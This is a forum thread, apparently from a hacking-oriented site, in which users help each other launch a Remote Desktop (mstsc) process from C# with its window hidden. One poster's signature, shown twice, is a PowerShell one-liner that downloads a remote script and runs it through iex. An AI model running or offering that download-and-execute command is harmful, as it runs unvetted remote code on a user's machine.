Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

CLOSED CLOSED CLOSED CLOSED

This thread is closed. ✌ ✌ ✌ ✌ ✌
(Jan 5, 2019 11:16 AM)_CASP3R_ Wrote:  Hello, I just thought id ask a question and see if anybody knows because ive been trying all day.

Basicly What i want to do is  launch a remote desktop connection and immediately hide it.
What i can already do to some extent. Basicly it hides the connecting window instead of the window when it connected.  I know its possible to do because i tested it with a button. but i wanna do it automatically.


Here is my code.

Code
private const int SW_HIDE = 0;
[DllImport("User32")]
private static extern int ShowWindow(int hwnd, int nCmdShow);


Process rdcProcess = new Process();
rdcProcess.StartInfo.FileName =
Environment.ExpandEnvironmentVariables(@"%SystemRoot%\system32\mstsc.exe");
rdcProcess.StartInfo.Arguments = "/v " + ""; //
rdcProcess.Start();

foreach (Process process in array)
{
  if (process.ProcessName == "mstsc")
  {
      int hWnd;
      hWnd = proccess.MainWindowHandle.ToInt32();
      ShowWindow(hWnd, 0);
  }
}


PHP Code

<?php 
Dim RDP 
As New ProcessStartInfo With {
        .
FileName = "mstsc",
        .
Arguments = "/v: 127.0.0.1",
        .
WindowStyle = ProcessWindowStyle.Hidden
        
}

        
Process.Start(RDP) 

EDIT : sorry I thought it was VB section.

PHP Code

<?php 
ProcessStartInfo RDP 
= new ProcessStartInfo()
    {
        
FileName = "mstsc",
        
Arguments = "/v: 127.0.0.1",
        
WindowStyle = ProcessWindowStyle.Hidden
    
};

    
Process.Start(RDP); 
(Jan 5, 2019 11:37 AM)NYANxCAT Wrote:  
PHP Code

<?php 
       Dim RDP 
As New ProcessStartInfo With {
 
       .FileName = "mstsc",
 
       .Arguments = "/v: 127.0.0.1",
 
       .WindowStyle = ProcessWindowStyle.Hidden
        
}

 
       Process.Start(RDP) 

EDIT : sorry I thought it was VB section.

PHP Code

<?php 
   ProcessStartInfo RDP 
= new ProcessStartInfo()
 
   {
 
       FileName = "mstsc",
 
       Arguments = "/v: 127.0.0.1",
 
       WindowStyle = ProcessWindowStyle.Hidden
    
};

 
   Process.Start(RDP); 

Bro. I fucking love you. Thank you so much. You dont understand what this means. TY

(Jan 5, 2019 11:37 AM)NYANxCAT Wrote:  
PHP Code

<?php 
       Dim RDP 
As New ProcessStartInfo With {
 
       .FileName = "mstsc",
 
       .Arguments = "/v: 127.0.0.1",
 
       .WindowStyle = ProcessWindowStyle.Hidden
        
}

 
       Process.Start(RDP) 

EDIT : sorry I thought it was VB section.

PHP Code

<?php 
   ProcessStartInfo RDP 
= new ProcessStartInfo()
 
   {
 
       FileName = "mstsc",
 
       Arguments = "/v: 127.0.0.1",
 
       WindowStyle = ProcessWindowStyle.Hidden
    
};

 
   Process.Start(RDP); 

Hey man... Just tried the code. The window still appears.
(Jan 5, 2019 11:41 AM)_CASP3R_ Wrote:  Bro. I fucking love you. Thank you so much. You dont understand what this means. TY


Hey man... Just tried the code. The window still appears.

Guys pleas don't delete the questions this is just dumb, without ˗ˏˋ NYAN CAT ˎˊ we wouldn't have know later on what the question for that solution was.
So pleas don't remove the question or change the title...
There is a reason why there is a option to close a thread.
(Jan 5, 2019 11:49 AM)Abruptum Wrote:  Guys pleas don't delete the questions this is just dumb, without ˗ˏˋ NYAN CAT ˎˊ we wouldn't have know later on what the question for that solution was.
So pleas don't remove the question or change the title...
There is a reason why there is a option to close a thread.

Im sorry, I just didnt want other people still thinking ive not solved it and them trying to help. Ill remember next time.
(Jan 5, 2019 11:41 AM)_CASP3R_ Wrote:  Hey man... Just tried the code. The window still appears.

I tried it, the dialog is hidden.

(Jan 5, 2019 11:49 AM)Abruptum Wrote:  Guys pleas don't delete the questions this is just dumb, without ˗ˏˋ NYAN CAT ˎˊ we wouldn't have know later on what the question for that solution was.
So pleas don't remove the question or change the title...
There is a reason why there is a option to close a thread.

Yup I agree with you.
This is honestly my preferred way of launching other program's with the Process class:

Code
if (new Process
{
   StartInfo =
   {
       FileName = "mstsc",
       Arguments = "/v: 127.0.0.1",
       WindowStyle = ProcessWindowStyle.Hidden
   }
}.Start())
{
   //Process has started
}
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Jan 5, 2019 11:54 AM)NYANxCAT Wrote:  I tried it, the dialog is hidden.


Yup I agree with you.

I mean the rdp window, I want that hidden not just the connecting window its still appearing on mine. Thanks again for helping.

(Jan 5, 2019 11:58 AM)Nick (Name) Wrote:  This is honestly my preferred way of launching other program's with the Process class:

Code
if (new Process
{
   StartInfo =
   {
       FileName = "mstsc",
       Arguments = "/v: 127.0.0.1",
       WindowStyle = ProcessWindowStyle.Hidden
   }
}.Start())
{
   //Process has started
}

I mean the rdp window, I want that hidden not just the connecting window its still appearing on mine. Thanks for helping.
(Jan 5, 2019 11:58 AM)_CASP3R_ Wrote:  I mean the rdp window,  I want that hidden not just the connecting window its still appearing on mine. Thanks again for helping.


I mean the rdp window, I want that hidden not just the connecting window its still appearing on mine. Thanks for helping.

Check out the ProcessStartInfo class documentation https://docs.microsoft.com/en-us/dotnet/...sstartinfo
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Jan 5, 2019 12:03 PM)Nick (Name) Wrote:  Check out the ProcessStartInfo class documentation https://docs.microsoft.com/en-us/dotnet/...sstartinfo

Okay man Will do!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Shad~Apr 26, 2009 09:05 PM 5 235 Apr 26, 2009 09:05 PM
Last Post: Jettboi93
[.NET] by Shad~Apr 10, 2009 06:35 AM 12 277 Apr 10, 2009 06:35 AM
Last Post: Jyeran